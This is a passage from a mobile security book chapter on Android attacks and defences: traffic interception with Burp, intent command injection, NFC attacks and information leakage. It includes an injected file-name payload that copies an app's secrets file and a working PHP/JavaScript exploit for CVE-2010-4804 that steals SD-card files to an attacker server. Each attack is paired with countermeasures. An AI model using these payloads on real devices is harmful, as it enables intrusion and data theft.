located in the advanced network settings (Tools | Options | Advanced | 
Network | Settings).

 3. Visit a site that uses HTTPS, such as https://www.cigital.com, from within 
Firefox. The browser should warn you that “this connection is untrusted” and 
display additional options on how to respond.

 4. Click Add Exception under the “I Understand the Risks” section and View to 
view the certifi cate’s details.

 5. Select the CA certifi cate and export the certifi cate to your fi le system, as shown 
in Figure 4-7.

Now, we need to move the certificate to our Android device, but installing the actual 
certificate depends on the version of the Android operating system in use.

On Ice Cream Sandwich
Luckily, Ice Cream Sandwich and later versions of the operating system natively support 
installing additional certificates to the trusted CA certificates store via the Settings 
application. Simply connect your device to your computer with a USB cable and move 
the certificate onto the SD card (adb push certName /mnt/sdcard), and then make 
sure to disconnect the USB cable so Android can remount the SD card. A similar approach 
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could be used with the emulator, but the USB cable would not be required. Follow these 
steps to install the certificate:

 1. Open the Settings application on your Android.

 2. Select the Security category.

 3. Select the Install From Phone Storage or Install From SD Card option, 
depending on the device model, and then select the certifi cate that you copied 
to the SD card.

On Older Versions of Android
Older versions of the Android operating system do not provide an easy way to add new 
trusted CA certificates. Therefore, you have to add a certificate to the keystore manually, 
using the keytool application provided by the Java SDK. Follow these steps:

Figure 4-7 Exporting the certifi cate via Firefox
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 1. Download a copy of the Bouncy Castle cryptographic provider (bouncycastle.org/
latest_releases.html).

 2. Execute the following commands using ADB and the keytool application to 
acquire the keystore, add your certifi cate to the keystore, and then put the 
updated keystore back on the Android device:

adb pull /system/etc/security/cacerts.bks cacerts.bks
keytool -keystore cacerts.bks -storetype BKS
-provider org.bouncycastle.jce.provider.BouncyCastleProvider
-providerpath bcprov-jdk16-147.jar -storepass somePassword
-importcert -trustcacerts -alias yourCaCert.crt -file yourCaCert.crt
adb shell mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system
adb push cacerts.bks /system/etc/security/.
adb shell mount -o r,remount -t yaffs2 /dev/block/mtdblock3 /system

Confi guring a Proxy Server
Now that we have installed the proper certificates into the keystore, we are ready to 
configure the mobile device to use a web proxy in order to intercept HTTP or HTTPS 
traffic.

On the Emulator
The Android mobile device emulator does support a global proxy for testing purposes. 
Use the following command to start the emulator with an HTTP proxy if you need to 
intercept traffic between the emulator and an application’s web service endpoints:

emulator -avd "<your_avd_name_here>" -http-proxy http://localhost:8080

On the Device via Wi-Fi Proxy Settings
Fortunately, later versions of Android do support global proxies via the Wi-Fi Advanced 
options, as shown in Figure 4-8. Follow these steps:

 1. Open the Settings application on your Android.

 2. Select the Wi-Fi category.

 3. Select the network you want to connect to.

 4. Tap the Show Advanced Options checkbox.

 5. Tap the Proxy Settings button and select Manual.

 6. Set the proxy hostname and proxy port attributes to point to your computer’s 
IP address and listening port of your computer’s web proxy such as 8080.
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On the Device with ProxyDroid
While Android does now support global proxies, on a rooted mobile device, we often 
use the ProxyDroid application to redirect traffic from our mobile device to our computer 
for interception since some applications use third-party or custom HTTP client APIs. 
Under the hood, ProxyDroid uses the iptables utility to redirect traffic directed at port 
80 (HTTP), 443 (HTTPS), and 5228 (Google Play) to the user-specified host and port.

HTTP traffic directed to an odd port number such as 81 will not be intercepted by ProxyDroid, and there is 
currently no way to configure this option through the user interface. You may want to decompile your target 
application first to determine the actual endpoints. In the past, we’ve resorted to patching the ProxyDroid 
binary for some assessments, but the source code is also freely available (code.google.com/p/
proxydroid/).

Configuring ProxyDroid is simple, assuming your target application does not utilize 
odd port numbers. Just follow these steps:

 1. Set the Host attribute to point to your computer’s IP address.

Figure 4-8 Wi-Fi proxy confi guration screen
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 2. Set the Port attribute to match the listening port of your computer’s web proxy, 
such as 8080.

 3. Enable the proxy, as shown in Figure 4-9.

When intercepting HTTPS traffic with ProxyDroid and Burp Suite, make sure to set 
up the certificate options properly because using the default settings will result in a TLS 
handshake error owing to the hostname (IP address in this case) not matching the 
hostname listed in the server’s certificate. Follow these steps to configure Burp Suite to 
generate a certificate with a specific hostname:

 1. Bind the proxy listener to all interfaces or your specifi c IP address, as shown in 
Figure 4-10.

Figure 4-9 ProxyDroid’s confi guration screen
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 2. On the Certifi cate options tab, select Generate A CA-signed Certifi cate With A 
Specifi c Hostname, as shown in Figure 4-11, and provide the specifi c hostname 
that the Android application connects to. If you do not know the hostname, 
then decompile the application and identify the endpoint, or use a network 
sniffer to identify the endpoint.

Manipulating Network Traffi c
Now that the web proxy is set up to intercept HTTP and HTTPS, you can manipulate 
both HTTP requests and responses between the Android application and its endpoints. 
For example, Figure 4-12 shows the interception of traffic between an Android application 
and an XML-based web service. This technique allows you to bypass client-side validation 
that may have otherwise prevented exploitation of common web service vulnerabilities 
and client-side trust issues.

Figure 4-10 Burp Suite bound to a specifi c IP address
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Manipulating Network Traffi c Countermeasures
Obviously, as application developers, we cannot prevent malicious users from intercepting 
network traffic from their own mobile device to various back-end web services, but we 
can take steps to mitigate the risk of man-in-the-middle attacks.

 1. Do not disable certifi cate verifi cation and validation by defi ning a custom 
TrustManager or a HostNameVeri� er that disables hostname validation. 
Developers often disable certifi cate verifi cation and validation so they can 
use self-signed certifi cates for testing purposes and then forget to remove this 
debugging code, which opens their applications to man-in-the-middle attacks.

 2. Use certifi cate pinning to mitigate the risk of compromised CA private 
keys. The Android operating system typically comes installed with over 100 
certifi cates associated with many different CAs, just like other platforms 

Figure 4-11 Burp Suite set up to generate a CA-signed certifi cate with a specifi c hostname

04-ch04.indd   101 6/19/2013   12:51:14 AM



102 Hacking Exposed: Mobile Security Secrets & Solutions 

and browsers, and if any of them are compromised, then an attacker could 
man-in-the-middle HTTPS traffi c. Google has adopted certifi cate pinning to 
mitigate this risk. For example, Google’s browser (Chrome) whitelists the 
public keys associated with VeriSign, Google Internet Authority, Equifax, and 
GeoTrust when visiting Google domains such asgmail.com (imperialviolet.
org/2011/05/04/pinning.html). Therefore, if Comodo Group gets hacked 
again by Iranian hackers, the attackers will not be able to intercept traffi c bound 
to Google domains via Chrome because Google does not whitelist that CA’s 
public key.

 3. As always, do not trust any data from the client to prevent vulnerabilities 
that commonly affl ict web services. Dedicated attackers will manipulate the 
network traffi c, so always perform strict input validation and output encoding 
on the server side.

Figure 4-12 Using Burp Proxy to intercept HTTP traffi c between an Android application and 
a web service
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INTENT-BASED ATTACKS
Intents are the primary inter-process communication (IPC) method used by Android 
applications. Applications can send intents to start or pass data to internal components, 
or send intents to other applications.

When an application sends an external intent, Android handles it by looking for an 
installed application with a defined intent filter that matches the broadcast intent. If it 
finds a matching intent filter, the intent is delivered to the application. If the application 
is not currently running, this starts it. An intent filter can be very specific with custom 
permissions and actions, or it can be generic (android.provider.Telephony.SMS_
RECEIVED, for example). If Android finds more than one application with a matching 
intent filter, it prompts the user to choose which application to use to handle the intent. 
When an application receives an intent, it can retrieve data that was associated with the 
intent by the originating application.

However, malicious applications can use intents to activate other applications (in 
some cases to gain access to functionality that the malicious application does not have 
permission to access) or to inject data into other applications. Depending on what an 
application does with data received via intents, a malicious application may cause an 
application to crash or perform some unexpected action.

Command Injection
In this example, we have a test application that has the ability to create files on the SD 
card using a user-defined name. Here is a snippet from the AndroidManifest.xml file 
where the service is defined:

<service android:name="FileCreatorService">
     <intent-filter>
          <action android:name="com.test.CreateFile" />
</intent-filter>
</service>

And here is the method where the file is created:

protected void onHandleIntent(Intent intent) {
     String input = intent.getStringExtra("fileName");
     String s = Environment.getExternalStorageDirectory() + "/" + input;
     try {
          Runtime.getRuntime().exec(new String[]{"sh", "-c", "touch " + s});

     } catch (IOException e) {
     }
}

04-ch04.indd   103 6/19/2013   12:51:15 AM



104 Hacking Exposed: Mobile Security Secrets & Solutions 

Our application gets the username from the UI and sends it to our service via intent. 
Our service has declared an intent filter, so it only accepts intents that have their action 
set to com.test.CreateFile. When our service receives a valid intent, it retrieves the 
filename from the intent and then proceeds to generate the file directly by invoking the 
touch command via the Runtime object.

A malicious application could then generate an intent like this:

Intent intent = new Intent();
intent.setAction("com.test.CreateFile");
intent.putExtra("fileName", "myFile.txt;cat /data/data/com.test/secrets.xml >
 /sdcard/secrets.xml");
startService(intent);

This code creates an intent and sets the action to com.test.CreateFile, which 
matches the intent filter of our test application. It then adds our exploit string. Our 
vulnerable application is going to concatenate this string with "touch " to generate the 
specified file; however, our exploit string includes a second command after the 
semicolon:

cat /data/data/com.test/secrets.xml > /sdcard/secrets.xml

This command copies the file secrets.xml from our vulnerable application’s private data 
directory to the SD card, where it will be globally readable.

Our malicious application could include any shell command in the payload. If the 
vulnerable application was installed on the /system partition, or was running under the 
root user, we could send commands that would execute with elevated privileges.

Command Injection Countermeasures
The best solution for defending against intent-based attacks is to combine the following 
countermeasures wherever possible:

• If an application component must declare an intent fi lter, and that component 
does not need to be exposed to any external applications, set the option 
android:exported=false in the AndroidManifest.xml fi le:

<service android:name="FileCreatorService 
android:exported=false">
     <intent-filter>
          <action android:name="com.test.CreateFile" />
     </intent-filter>
</service>

 This restricts the component to responding only to intents sent by the parent 
application.
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• Performing input validation on all data received from intents can also remove 
the risk of injection attacks. In the previous example, we should restrict the 
value of � leName to prevent unwanted input:

if(input.matches("^.*[^a-zA-Z0-9].*$" && input!=null){
     String s = Environment.getExternalStorageDirectory() + "/" + 
input + ".txt";
}

• The use of custom permissions won’t directly stop malicious applications 
from sending intents to an application, but the user will have to grant that 
permission when the malicious application is installed. While this requirement 
may help in the case of security-minded users who check every permission an 
application asks for at install time, it should not be relied on to prevent intent-
based attacks.

• Signature-level permissions, on the other hand, require any application that 
wants to send intents to be signed by the same key as the receiving application. 
As long as the key used to sign the application is kept secret (and the Android 
testing keys weren’t used!), the application should be safe from malicious 
applications sending it intents. Of course, if someone resigns the application, 
this protection can be removed.

NFC-BASED ATTACKS
NFC tags are beginning to see more use in the wild, with signs in malls, airports, and 
even bus stops asking users to tap their phones for additional information. The way an 
Android device handles these tags depends on what version of Android it is running. 
Gingerbread devices that support NFC open the Tags application when a tag is read. Ice 
Cream Sandwich (Android 4.0) and Jelly Bean (Android 4.1) devices directly open a 
supported application to handle the tag if it exists (for example, a tag containing a URL 
is opened by the Browser application); otherwise, the tag is opened with the Tags 
application. NFC tags provide a new attack surface for Android devices, and some 
interesting attacks have already surfaced.

Malicious NFC Tags
If an NFC tag contained a URL pointing to a malicious site (for example, a site containing 
code to exploit a vulnerability in WebKit, similar to CVE-2010-1759), a user who scanned 
this tag would find that his or her device had been compromised. NFC tags are cheap to 
buy online and can be written to with an NFC-enabled phone.

An attacker can use malicious NFC tags in two ways:

• The attacker could make convincing-looking posters and attach the malicious 
NFC tags to them. Alternatively (and more likely), the attacker either removes 
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a real NFC tag and replaces it with his or her own, or simply places the 
malicious tag over the original. By putting the malicious tag on a legitimate 
advertisement, an attacker increases the chances that his or her tag will be read.

• The attacker can overwrite a tag already in place if the tag was not properly 
write-protected (see Figure 4-13). This allows anyone with an NFC-enabled 
phone and NFC tag-writing software (which is available in the Google Play 
store) to write their own data on an existing tag.

Beyond sending a user to a malicious web page, an attacker could create tags that 
send a user to Google Play in an attempt to download a malicious application, or directly 
attack another application on the device that handles NFC by providing it with 
unexpected input. As more applications begin to support NFC, this attack surface will 
continue to grow.

Malicious NFC Tag Countermeasures
As noted in the attack, in Ice Cream Sandwich and above, an application automatically 
opens to handle an NFC tag if that application exists. So, although the threat of malicious 
tags exists for Gingerbread devices, it is reduced because Gingerbread requires user 
interaction (the user must open the tag within the Tags application).

Figure 4-13 Writing to an NFC tag with an Android application (Connecthings NFC Writer)
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Keeping NFC disabled unless it is actually being used eliminates the chance that a 
tag will accidentally be read. However, there is no way to tell whether a tag is malicious 
by looking at it (unless there is some evidence of tampering—that is, someone has 
physically removed and replaced a tag). Application developers need to take care to 
validate the data they receive from NFC tags to prevent these kinds of attacks.

To keep existing tags from being overwritten, the tags must be set to write-protected 
before they are used. This is simple to do with tag-writing software.

Attacking Applications via NFC Events
To read NFC tags, an application must expose an Activity with an intent filter like the 
following:

<uses-permission android:name="android.permission.NFC" />
<uses-feature android:name="android.hardware.nfc" android:required="true" />
<activity android:name=".TagReaderActivity">
<intent-filter>
            <action android:name="android.nfc.action.NDEF_DISCOVERED"/>
            <category android:name="android.intent.category.DEFAULT"/>
     </intent-filter>
</activity>

The application must request the Android permission android.permission.NFC, 
and the Activity (in this case, TagReaderActivity) defines an intent filter describing 
the kind of NFC events it wants to receive. In this example, TagReaderActivity is 
only going to receive android.nfc.action.NDEF_DISCOVERED events, which 
happen when Android detects an NDEF-formatted NFC tag.

Because an intent filter is being used (and the Activity needs to be exposed, so no 
exported=false here), it is possible for another application to create an NDEF message 
and send it via intent, simulating the NDEF_DISCOVERED event. This capability allows a 
malicious application to exploit vulnerabilities in NFC-enabled applications without 
needing to get within NFC range of the victim (unlike using malicious tags).

The Android SDK provides some sample code you can use for generating mock tags. 
The following is from the NFCDemo app:

static final class TagDescription {
     public String title;
     public NdefMessage[] msgs;
     public TagDescription(String title, byte[] bytes) {
            this.title = title;
            try {
                msgs = new NdefMessage[] {new NdefMessage(bytes)};
            } catch (final Exception e) {
                throw new RuntimeException("Failed to create tag description", e);
            }
        }
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        @Override
        public String toString() {
            return title;
        }
    }

public static final byte[] ENGLISH_PLAIN_TEXT = new byte[] {
       (byte) 0xd1, (byte) 0x01, (byte) 0x1c, (byte) 0x54, (byte) 0x02,
       (byte) 0x65, (byte) 0x6e, (byte) 0x53, (byte) 0x6f, (byte) 0x6d,
       (byte) 0x65, (byte) 0x20, (byte) 0x72, (byte) 0x61, (byte) 0x6e,
       (byte) 0x64, (byte) 0x6f, (byte) 0x6d, (byte) 0x20, (byte) 0x45,
       (byte) 0x6e, (byte) 0x67, (byte) 0x6c, (byte) 0x69, (byte) 0x73,
       (byte) 0x68, (byte) 0x20, (byte) 0x74, (byte) 0x65, (byte) 0x78,
       (byte) 0x74, (byte) 0x2e};

Using this code, we can generate a fake tag with the payload contained in the ENGLISH_
PLAIN_TEXT byte array (in this case, the text “Some random English text.”). Next, we 
need to craft a NFC event intent to send to our vulnerable application:

Intent intent = new Intent();
intent.setComponent(new ComponentName("vulnerable.package.name",
 "vulnerable.package.name.Activity"));
intent.setAction("android.nfc.action.NDEF_DISCOVERED");
intent.addCategory("android.intent.category.DEFAULT");
TagDescription tag = new TagDescription("Fake Tag", ENGLISH_PLAIN_TEXT);
intent.putExtra("android.nfc.extra.NDEF_MESSAGES", tag.msgs);
startActivity(intent);

The vulnerable application (vulnerable.package.name in the code) will now 
receive our fake tag. Depending on what sort of data the application was expecting 
(examples are JSON, URLs, text), we can craft an NDEF message to attack the application 
that may result in code injection, or we might be able to direct the application to connect 
to a malicious server.

NFC Event Countermeasures
Like other intent-based attacks, the best mitigation here is to perform strict validation on 
all data received from NFC tags. Other intent mitigations, such as custom permissions or 
setting exported=false to make the Activity private won’t work here, as the 
application has to receive these intents from an external source (the OS). Proper validation 
minimizes the risk of attack.
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INFORMATION LEAKAGE
Android applications can unintentionally leak sensitive data, including user credentials, 
personal information, or configuration details, to an attacker, who can, in turn, leverage 
this data to launch additional attacks. In the following sections, we explore how 
information leakage can occur through different channels, such as files, logs, and other 
components like content providers and services.

Leakage via Internal Files
Android normally restricts an application from accessing another application’s files by 
assigning each application a unique user identifier (UID) and group identifier (GID) and 
by running the application as that user. But an application could create a world-readable 
or world-writable file using the MODE_WORLD_READABLE or MODE_WORLD_WRITEABLE 
flags, which could lead to various types of security issues.

For example, if an application stored credentials used to authenticate with a back-
end web service in a world-readable file, then any malicious application on the same 
device could read the file and send the sensitive information to an attacker-controlled 
server. In this example, the malicious application would need to request the android
.permission.INTERNET permission to exfiltrate the data off of the mobile device, but 
most applications request this permission at install time, so a user is unlikely to find this 
request suspicious.

Android SQLite Journal Information Disclosure (CVE-2011-3901)
As mentioned previously, Android provides support for SQLite databases, and Android 
applications often use this functionality to store application-specific data, including 
sensitive data. IBM security researchers identified that the SQLite database engine 
created its rollback journal as a globally readable and writable file within the /data/
data/<app package>/databases directory. Rollback journals allow SQLite to implement 
atomic commit and rollback capabilities. The rollback journal is normally deleted after 
the start and end of a transaction, but if an application crashes during a transaction 
containing multiple SQL statements, then the rollback journal needs to remain on the file 
system, so the application can roll back the transactions at a later time to restore the state 
of the database. Improperly setting the permissions of the rollback journal allows hostile 
applications on the same mobile device to acquire SQL statements from these transactions 
that may contain sensitive data such as personal information, session tokens, URL 
history, and the structure of SQL statements. For example, the LinkedIn application’s 
rollback journal contains personal information and information about the user’s recent 
searches, as shown in Figure 4-14.
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Android SQLite Journal Information Disclosure Countermeasures
End users should stay up to date on the latest Android patches. This specific information 
leakage issue pertaining to the SQLite database was identified in version 2.3.7, but later 
versions of the operating system are not vulnerable. Application developers should 
avoid creating files, shared preferences, or databases using the MODE_WORLD_READABLE 
or MODE_WORLD_WRITABLE flags, or using the chmod command to modify the file 
permissions to be globally readable or writable.

For example, we strongly encourage developers to avoid making the same mistake 
as the developers of Skype, which was identified by security researchers to expose 
names, email addresses, phone numbers, chat logs, and much more, because the Skype 
application created its XML share preferences file and SQLite databases as globally 
readable and writable (androidpolice.com/2011/04/14/exclusive-vulnerability-in-
skype-for-android-is-exposing-your-name-phone-number-chat-logs-and-a-lot-more/).

Leakage via External Storage
Any file stored in external storage on a removable memory card such as a SD card 
(/mnt/sdcard) or a virtual SD card that uses the mobile device’s NAND flash to emulate 
a SD card is globally readable and writable to every application on the mobile device. An 
Android application, therefore, should only store data that the application wants to share 
on external storage to prevent hostile applications from acquiring sensitive data.

Figure 4-14 Part of the SQLite journal fi le for the LinkedIn application
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Nessus Information Disclosure
As revealed on the Full Disclosure and Bugtraq mailing lists, the Nessus Android 
application stores the username, password, and IP address of your Nessus server on the 
SD card in plaintext (seclists.org/fulldisclosure/2012/Jul/329). The Nessus Android 
application allows users to log into their Nessus server through their mobile device to 
conduct network vulnerability scans and view information about previously discovered 
vulnerabilities. Exposing the server credentials in plaintext on the SD card allows any 
application on the mobile device to steal these credentials and then send them to an 
attacker-controlled server. More specifically, the Nessus application stores the credentials 
and server information in a Java serialized format, as shown in Figure 4-15. Friendly 
reminder, Java serialization does not equate to encryption, and security products may 
not always be secure.

Nessus Information Disclosure Countermeasures
At the time of writing, months after disclosure, the Nessus application has not been 
updated to store credentials securely, so end users of this application should be aware 
that other applications on the same mobile device, such as that neat game you just 
downloaded, can steal your Nessus server information and credentials. Applications 
that must store credentials and other sensitive data should use internal storage and 
encryption as opposed to storing information in plaintext in a globally readable and 
writable file on a SD card.

For example, the Nessus application could generate an AES key using Password-
Based Key Derivation Function 2 (PBKDF2), based on a password that the user enters 

Figure 4-15 The Nessus application stores server information and credentials on the SD card in an 
unencrypted Java serialized format.
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when the application starts and a device-specific salt, and then use the newly generated 
encryption key to decrypt the cipher text stored on the file system that contains the server 
information and credentials. On the Android platform, a developer could use the javax
.crypto.spec.PBEKeySpec and javax.crypto.SecretKeyFactory classes to 
generate password-based encryption keys securely.

Information Leakage via Logs
Android applications typically log a variety of information via the android.util.Log 
class for debugging purposes. Some developers may not realize that other Android 
applications on the same mobile device can access all the application logs by requesting 
the android.permission.READ_LOGS permission at install time, and, therefore, 
malicious applications could easily exfilitrate any sensitive data off the device that is 
logged. The underlying operating system could also introduce subtle vulnerabilities by 
logging sensitive information. For example, as per CVE-2012-2980, security researchers 
identified that specific HTC and Samsung phones stored touch coordinates into the 
dmesg buffer, which would allow a hostile application to call the dmesg command and 
derive a user’s PIN based on the logged touch coordinates. The dmesg command mostly 
displays kernel and driver logging messages pertaining to the bootup process and does 
not require any additional privileges, such as android.permission.READ_LOGS, to 
execute on an Android device. In our opinion, an application that wants to access these 
types of logs should be forced to request additional permissions in its manifest file.

Facebook SDK Information Disclosure
Facebook allows third-party developers to develop custom applications that can integrate 
with Facebook and access potentially sensitive information. For Android developers, 
Facebook develops a SDK that allows an Android application to integrate easily with the 
platform. Similar to the Android security model, Facebook applications must request 
specific permissions from the user at install time if the application needs to perform 
potentially damaging operations such as altering the user’s wall or sending messages to 
the user’s friends. For authentication purposes, Facebook applications are provided an 
access token from Facebook after successfully authenticating with the service. Developers 
from a mobile development company, Parse, disclosed that the Facebook SDK logged the 
access token using the following code (blog.parse.com/2012/04/10/discovering-a-
major-security-hole-in-facebooks-android-sdk/). Therefore, any application on the same 
mobile device with the android.permission.READ_LOGS permission could acquire 
the application’s access token that is used to authenticate to the Facebook web services 
access token and attack users of that specific Facebook application.

Log.d("Facebook-authorize", "Login Success! access_token="
        + getAccessToken() + " expires="
        + getAccessExpires());
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An attacker who acquired the application access token could gain privileged access 
to anyone who installed that specific Facebook application by manipulating their wall, 
sending messages on their behalf, and accessing other personal information associated 
with their account, depending on the permissions granted to the specific Facebook 
application. Malware has been known to propagate via social media sites such as 
Facebook, so this type of vulnerability would be certainly useful to some miscreants. 
Luckily, Facebook quickly patched their SDK, but each application that uses the Facebook 
SDK needs to be repackaged with the new SDK to address the vulnerability. Therefore, 
Android applications using older versions of the Facebook SDK remain susceptible to 
attack owing to this vulnerability.

Facebook SDK Information Disclosure Countermeasures
In this specific case, if you are an application developer and use the Facebook SDK, then 
make sure to repackage your Android application with the latest version of the SDK. In 
general, application developers should simply avoid logging any sensitive information 
via the android.util.Log class.

Curious end users and developers can use the logcat command via ADB or DDMS 
to inspect what your favorite Android applications log to identify any potential 
information leakage issues.

Information Leakage via Insecure Components
In the previous sections, we’ve discussed how an Android application can leak sensitive 
information via improper logging and improper file permissions, but insecure 
applications, or the underlying Android operating system, can leak information in 
countless other ways. For example, consider CVE-2011-4872, which describes a 
vulnerability that allows any application with the android.permission.ACCESS_
WIFI_STATE permission to acquire the 802.1X WiFi credentials. Normally, an application 
with this permission can acquire basic information about WiFi configurations, such as 
the SSID, type of WiFi security used, and the IP address, but HTC modified the toString 
function of the WifiConfiguration class to include the actual password used to 
authenticate with the WiFi networks. Normally, an application granted the android
.permission.ACCESS_WIFI_STATE permission would only see a masked password 
or an empty string for this field, but in this case, malicious software could use the 
WifiManager to recover a list of all the WifiConfiguration objects, which leak the 
password used to authenticate with the wireless network. This type of vulnerability 
allows mobile malware to facilitate attacks against personal, or corporate, wireless 
networks.
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Android ‘content://’ URI Scheme Information Disclosure (CVE-2010-4804)
Thomas Cannon disclosed in late 2010 that a malicious web page loaded into the Android 
browser could acquire the contents of files on the SD card using the following steps:

 1. Force the Android browser to download a HTML fi le containing the JavaScript 
payload onto the SD card by setting the Content-Disposition HTTP 
response header value to attachment and specifying a fi lename parameter. By 
default, fi les downloaded via the Android browser are stored in the /sdcard/
download directory and the user is not prompted before download.

 2. Use client-side redirection to load the newly downloaded HTML fi le via a 
content provider, so the JavaScript is executed in the context of the local fi le 
system. For example, the URI might look like the following.
content://com.android.htmlfileprovider/sdcard/download/payload.html

 3. The exploit HTML page then uses AJAX requests to acquire fi les stored on the 
SD card and sends the contents of the fi les to an attacker-controlled server via a 
cross-domain POST request using a dynamically created HTML form.

The attacker is limited to accessing files that are globally readable, such as any file on 
the SD card, and the attacker must know the filenames in advance or attempt to brute 
force filenames via JavaScript. But many Android applications store files on the SD card 
using predictable names, such as the Nessus application. The following proof-of-concept 
PHP code demonstrates the attack by recovering the /proc/version and /sdcard/
servers.id files on a vulnerable device:

<?php
$targetFiles = array("/proc/version","/sdcard/servers.id");
$exploitUrl = "http://x.y.z/android/exploit.php";

function step1() {
      global $exploitUrl;
      echo "<html><body> <script>
setTimeout('window.location=\'".$exploitUrl."?step=2\'',1000);
setTimeout('window.location =
\'content://com.android.htmlfileprovider/sdcard/download/payload.html\'', 5000);
</script></body></html>";
}

function step2() {
      global $exploitUrl, $targetFiles;
      header("Content-Disposition: attachment; filename=payload.html");
      header("Content-Type: text/html");
      header("Content-Transfer-Encoding: binary");
      echo "
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<html>
<body>
<script>
var contents = new Array();

function getFiles(files) {
      for(var file in files) {
            var filename = files[file];
            req = new XMLHttpRequest();
            req.open('GET', filename, false);
            req.overrideMimeType('text/plain;');
            req.send();
            contents[filename] = btoa(req.responseText);
      }
      uploadFiles();
}
function addHiddenInputToForm(form, name, value) {
      var input = document.createElement('input');
      input.setAttribute('name', name);
      input.setAttribute('value', value);
      input.setAttribute('type', 'hidden');
      form.appendChild(input);
}

function uploadFiles() {
      var form = document.createElement('form');
      form.setAttribute('method','POST');
      form.setAttribute('action','$exploitUrl?step=3');
      var i = 0;
      for(filename in contents) {
            var content = contents[filename];
            addHiddenInputToForm(form, 'file'+i, content);
            i++;
      }
      document.body.appendChild(form);
      form.submit();
}

getFiles(new Array('".implode("','",$targetFiles)."'));
</script>
</body>
</html>";
}
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function step3() {
      global $targetFiles;
      $allContents = "";
      $i = 0;
      while($_REQUEST["file$i"]) {
            $allContents .= $targetFiles[$i].":".$_REQUEST["file$i"]."\n";
            $i++;
      }
      $f = fopen("/tmp/files.txt", "w") or die("Unable to write to file.");
      fwrite($f, $allContents) or die ("Unable to write to file.");
      fclose($f);
      echo "Files uploaded to /tmp/files.txt";
}

if($_GET["step"] == "2") {
      step2();
}
else if($_GET["step"] == "3") {
      step3();
}
else {
      step1();
}
?>

Android ‘content://’ URI Scheme Information Disclosure Countermeasures
This specific vulnerability was “fixed” in Android 2.3, but Xuxian Jiang of NCSU 
developed a similar exploit to bypass the previous fix, so Android was patched again in 
2.3.4 (www.csc.ncsu.edu/faculty/jiang/nexuss.html). This vulnerability has been fixed 
for some time, but an end user can take a number of steps to prevent the attack on 
vulnerable devices.

• Use a different browser, such as Opera, that always prompts you before 
downloading a fi le since the Android browser still downloads fi les without 
user interaction. Using a different browser also allows the end user to update 
his or her browser as soon as the vendor releases a new patch as opposed to 
depending on the manufacturers and MNOs sluggish, or nonexistent, patch 
schedule.

• Disable JavaScript in the Android browser. This mitigation strategy breaks the 
functionality of most websites.

• Unmount the SD card. Again, this mitigation strategy causes functional 
problems because many Android applications require access to the SD card to 
function properly.
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General Mitigation Strategies to Prevent Information Leakage
To recap, application developers must consider how their application stores and exposes 
information to other applications on the same mobile device and to other systems over 
the Internet or the telephony network to prevent information leakage vulnerabilities.

• Logs Applications should avoid logging any sensitive information to prevent 
hostile applications, which request the android.permission.READ_LOGS 
permission, from acquiring the sensitive information.

• Files, shared preferences, and SQLite databases Applications should avoid 
storing sensitive information in an unencrypted form in any type of fi le, should 
never create globally readable or writable fi les, and should never place sensitive 
fi les on the SD card without the proper use of cryptographic controls.

• WebKit (WebView) Applications should clear the WebView cache 
periodically if the component is used to view sensitive websites. Ideally, the 
web server would disable caching via the Pragma and Cache-Control HTTP 
response headers, but explicitly clearing the client-side cache can mitigate 
the problem. The WebKit component stores other potentially sensitive data in 
the application’s data directory, such as previously entered form data, HTTP 
authentication credentials, and cookies, which include session identifi ers. 
On a nonrooted device, other applications should not be able to access this 
information normally, but it could still raise serious privacy concerns. Consider 
a banking Android application that uses a WebKit component to perform a 
Know Your Customer check, which requires typing in personal information 
such as a name, address, and social security number. Now highly sensitive 
data exists with the banking application’s data directory in an unencrypted 
format, so when the device is stolen and rooted, or compromised remotely 
and rooted DroidDream-style, the thief has access to this sensitive data. 
Although disabling the saving of all form data is probably too extreme for 
some applications, banking applications may want to explore this mitigation 
technique if the application utilizes the WebView class to collect sensitive data.

• Inter-process communication (IPC) Applications should refrain from 
exposing sensitive information via broadcast receivers, activities, and services 
to other Android applications or sending any sensitive data in intents to 
other processes. Most components should be labeled as nonexportable 
(android:exported = "false" in the manifest fi le) if other Android 
applications do not need to access them.

• Networking Applications should refrain from using network sockets 
to implement IPC and should only transmit sensitive data over TLS after 
authentication via the SSLSocket class. For example, Dan Rosenberg identifi ed 
that a Carrier IQ service opened port 2479 and bound the port to localhost 
in order to implement IPC (CVE-2012-2217). A malicious application with the 
android.permission.INTERNET permission could communicate with this 
service to conduct a number of nefarious activities, including sending arbitrary 
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outbound SMS messages to conduct toll fraud or retrieving a user’s Network 
Access Identifi er (NAI) and password, which could be abused to impersonate 
the mobile device on a CDMA network.

SUMMARY
Google has created a mobile platform with a number of key advantages from a security 
perspective by building on solid fundamentals, such as type safety and memory 
management provided by the JVM and operating system–level sandboxing through the 
Linux permissions model. These features allow developers to design and implement 
applications that can meet stringent security requirements. On the other hand, the 
platform encourages inter-process communication to promote reusable application 
components, which increases the attack surface of mobile applications and can introduce 
subtle security flaws if application developers are not careful. The platform has received 
a bad reputation based on the amount of malware that has been identified in the Google 
Play store and third-party markets. Additionally, the platform’s security relies on a 
number of diverse entities whose security design review and testing practices may vary 
widely: Google for development of the operating system itself and related components 
via the Android Open Source Project (AOSP); manufacturers and MNOs for any 
modifications to the AOSP; and application developers for the development of end-user 
applications. Android’s current problems may partially stem from the project’s openness 
(for example, fragmentation). Over the long haul, however, Google’s openness will 
ideally allow for more scrutiny, and improvement, to the platform’s security posture by 
a diverse group of actors as opposed to more closed platforms such as iOS.
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The problem of mobile malware has evolved along with mobile devices for over a 
decade. Early examples of mobile malware either were proof of concept and merely 
spread for the sake of propagation or contained overtly malicious payloads. These 

pieces of malware were likely created out of misplaced intellectual curiosity or to increase 
the notoriety of their authors. Consider LibertyCrack, a Trojan horse masquerading as 
pirated software for Palm OS devices (identified in 2000), that performed an unwanted 
“hard-reset” of the device to restore it to factory defaults when executed. Or consider the 
first known computer worm affecting mobile devices: Named Cabir, it spread to other 
Symbian devices by sending itself within an SIS file to nearby devices via Bluetooth for 
the sole purpose of displaying the author’s virus writing group’s name. The source code 
for Cabir was released by the 29A virus group in 2004, and a number of variants by other 
authors using similar propagation techniques quickly appeared in the wild. What could 
possibly go wrong if you develop a mobile operating system that allows receiving 
installation scripts from nearby devices via a wireless technology? Granted, the victim 
had to agree to install the installation script, but a percentage of users will always agree 
to do something without understanding the security implications. Therefore, mobile 
operating system designers should carefully consider these design choices.

As with the evolution of malware on other platforms, and the hacking scene in 
general, there was a clear shift from developing mobile malware for fame, an intellectual 
challenge, or schadenfreude, to developing mobile malware designed to conduct toll 
